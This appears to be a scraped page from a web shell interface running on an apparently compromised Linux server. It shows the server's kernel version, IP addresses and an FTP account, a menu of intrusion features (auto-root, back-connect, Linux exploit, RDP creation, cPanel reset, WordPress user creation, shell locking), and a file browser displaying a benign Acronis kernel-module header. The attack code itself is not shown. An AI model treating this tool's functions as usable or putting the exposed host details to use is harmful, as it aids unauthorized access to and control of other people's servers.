Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.222
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
src /
file_protector-1.1-1553 /
transport /
[ HOME SHELL ]
Name
Size
Permission
Action
device.c
1.2
KB
-rw-r--r--
device.h
257
B
-rw-r--r--
exec_event.c
7.13
KB
-rw-r--r--
exec_event.h
391
B
-rw-r--r--
exit_event.c
1.57
KB
-rw-r--r--
exit_event.h
291
B
-rw-r--r--
fork_event.c
8.61
KB
-rw-r--r--
fork_event.h
360
B
-rw-r--r--
fs_event.c
26.92
KB
-rw-r--r--
fs_event.h
2.43
KB
-rw-r--r--
message.c
19.66
KB
-rw-r--r--
message.h
4.03
KB
-rw-r--r--
ring.h
2.29
KB
-rw-r--r--
set.h
1.86
KB
-rw-r--r--
subtype.h
1.06
KB
-rw-r--r--
thread_safe_path.h
2.28
KB
-rw-r--r--
transport.c
61.56
KB
-rw-r--r--
transport.h
4.01
KB
-rw-r--r--
transport_id.h
1.75
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : thread_safe_path.h
/** @file thread_safe_path.h @brief Thread safe accessor to the 'struct path' @details Copyright (c) 2022 Acronis International GmbH @author Denis Kopyrin (denis.kopyrin@acronis.com) @since $Id: $ */ #pragma once #include <linux/path.h> #include <linux/spinlock.h> #include <linux/types.h> // bool, [u]int(8|16|32|64)_t, pid_t, size_t // This structure is made to avoid the limitations of 'struct path' // It is only allowed to call 'path_put' and 'path_get' in the same // thread. // With this limitation it is not allowed to just use ref counting // and there must be an explicit 'path_put' from the same thread // that had 'struct path' created. typedef struct { spinlock_t spinlock; struct path path; } thread_safe_path_t; static inline void thread_safe_path_init(thread_safe_path_t *sp) { spin_lock_init(&sp->spinlock); sp->path = (struct path){}; } // No 'deinit', caller must explicitly invoke 'thread_safe_path_clear' as 'thread_safe_path_store_*' // Performs 'move' semantic and write directly to the 'path' assuming it is empty currently static inline void thread_safe_path_store_move_directly(thread_safe_path_t *sp, struct path *newpath) { spin_lock(&sp->spinlock); sp->path = *newpath; *newpath = (struct path){}; spin_unlock(&sp->spinlock); } // Same as method above but uses 'copy' semantics instead static inline void thread_safe_path_store_copy_directly(thread_safe_path_t *sp, const struct path *newpath) { spin_lock(&sp->spinlock); sp->path = *newpath; path_get(&sp->path); spin_unlock(&sp->spinlock); } // Clears the path stored, must be called from the same thread as 'thread_safe_path_store_*' static inline void thread_safe_path_clear(thread_safe_path_t *sp) { struct path cleared_path; spin_lock(&sp->spinlock); cleared_path = sp->path; sp->path = (struct path){}; spin_unlock(&sp->spinlock); // 'path_put' might sleep, do NOT call inside the 'spin_lock' path_put(&cleared_path); } // Loads the path from 'thread_safe_path'. Must be 'path_put' after use in the same thread. static inline void thread_safe_path_load(thread_safe_path_t *sp, struct path *to) { spin_lock(&sp->spinlock); *to = sp->path; // 'path_get' can be safely called under the 'spin_lock'. // It is the only place where 'path_get' can be reliable get path_get(to); spin_unlock(&sp->spinlock); }
Close